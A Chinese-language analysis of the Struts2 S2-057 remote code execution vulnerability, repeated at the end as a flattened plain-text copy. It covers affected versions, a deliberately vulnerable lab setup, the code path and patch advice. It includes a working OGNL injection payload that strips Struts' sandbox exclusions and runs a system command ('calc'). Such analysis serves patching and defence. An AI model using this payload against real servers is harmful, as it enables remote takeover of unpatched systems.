Struts2 s2-057远程代码执行漏洞分析
字数 1446 2025-08-06 08:35:25

Struts2 s2-057远程代码执行漏洞分析与复现

一、漏洞描述

Struts2 s2-057是一个严重的远程代码执行漏洞,当满足以下两个条件时可以被利用:

  1. struts.mapper.alwaysSelectFullNamespace设置为true
  2. package标签页以及result的param标签页的namespace值缺失或使用了通配符

在这种情况下,攻击者可以控制namespace值,该值最终会被带入OGNL语句执行,从而导致远程代码执行。

二、受影响版本

  • Apache Struts 2.3 - Struts 2.3.34
  • Apache Struts 2.5 - Struts 2.5.16

三、环境搭建

  1. 下载Struts 2.3.34:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
  2. 修改配置文件struts-2.3.34\src\apps\showcase\src\main\resources\struts-actionchaining.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
    "http://struts.apache.org/dtds/struts-2.3.dtd">

<struts>
    <package name="actionchaining" extends="struts-default">
        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
            <result type="redirectAction">
                <param name = "actionName">register2</param>
            </result>
        </action>
    </package>
</struts>
  1. struts.xml中添加:
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
  1. 添加Tomcat后运行

四、漏洞复现

攻击点一:Redirect action

  1. 访问以下URL触发漏洞:
http://localhost:8081/${(111+111)}/actionChain1.action
  1. 执行计算器的POC:
/struts2_showcase_war_exploded/showcase/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/actionChain1.action

攻击点二:Postback result

  1. 修改struts.actionchaing.xml内容为使用postback result
  2. 访问类似URL触发漏洞

五、漏洞分析

Redirect action攻击流程

  1. 请求进入DefaultActionInvocation.executeResult()
  2. 进入ServletActionRedirectResult.execute()
  3. 通过DefaultActionProxy.getNamespace()获取namespace值
  4. 进入DefaultActionMapper.getUriFromActionMapping()handleNamespace()处理namespace
  5. 最终在StrutsResultSupport.doExecute()中执行OGNL表达式

Postback result攻击流程

  1. 请求进入DefaultActionInvocation.executeResult()
  2. 进入PostbackResult.execute()makePostbackUri()
  3. 同样通过DefaultActionMapper处理namespace
  4. 最终在StrutsResultSupport.doExecute()中执行OGNL表达式

六、修复建议

官方补丁

升级到以下版本:

  • Apache Struts 2.3.35
  • Struts 2.5.17
    下载地址:https://struts.apache.org/download.cgi#struts2517

手工修复

  1. 修改配置文件:
    • 固定package标签页以及result的param标签页的namespace值
    • 禁止使用通配符
  2. struts.mapper.alwaysSelectFullNamespace设置为false(默认值)

七、参考链接

  1. https://www.freebuf.com/vuls/182101.html
  2. https://xz.aliyun.com/t/2618#toc-5
Struts2 s2-057远程代码执行漏洞分析与复现 一、漏洞描述 Struts2 s2-057是一个严重的远程代码执行漏洞,当满足以下两个条件时可以被利用: struts.mapper.alwaysSelectFullNamespace 设置为true package标签页以及result的param标签页的namespace值缺失或使用了通配符 在这种情况下,攻击者可以控制namespace值,该值最终会被带入OGNL语句执行,从而导致远程代码执行。 二、受影响版本 Apache Struts 2.3 - Struts 2.3.34 Apache Struts 2.5 - Struts 2.5.16 三、环境搭建 下载Struts 2.3.34:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip 修改配置文件 struts-2.3.34\src\apps\showcase\src\main\resources\struts-actionchaining.xml : 在 struts.xml 中添加: 添加Tomcat后运行 四、漏洞复现 攻击点一:Redirect action 访问以下URL触发漏洞: 执行计算器的POC: 攻击点二:Postback result 修改 struts.actionchaing.xml 内容为使用postback result 访问类似URL触发漏洞 五、漏洞分析 Redirect action攻击流程 请求进入 DefaultActionInvocation.executeResult() 进入 ServletActionRedirectResult.execute() 通过 DefaultActionProxy.getNamespace() 获取namespace值 进入 DefaultActionMapper.getUriFromActionMapping() 和 handleNamespace() 处理namespace 最终在 StrutsResultSupport.doExecute() 中执行OGNL表达式 Postback result攻击流程 请求进入 DefaultActionInvocation.executeResult() 进入 PostbackResult.execute() 和 makePostbackUri() 同样通过 DefaultActionMapper 处理namespace 最终在 StrutsResultSupport.doExecute() 中执行OGNL表达式 六、修复建议 官方补丁 升级到以下版本: Apache Struts 2.3.35 Struts 2.5.17 下载地址:https://struts.apache.org/download.cgi#struts2517 手工修复 修改配置文件: 固定package标签页以及result的param标签页的namespace值 禁止使用通配符 将 struts.mapper.alwaysSelectFullNamespace 设置为false(默认值) 七、参考链接 https://www.freebuf.com/vuls/182101.html https://xz.aliyun.com/t/2618#toc-5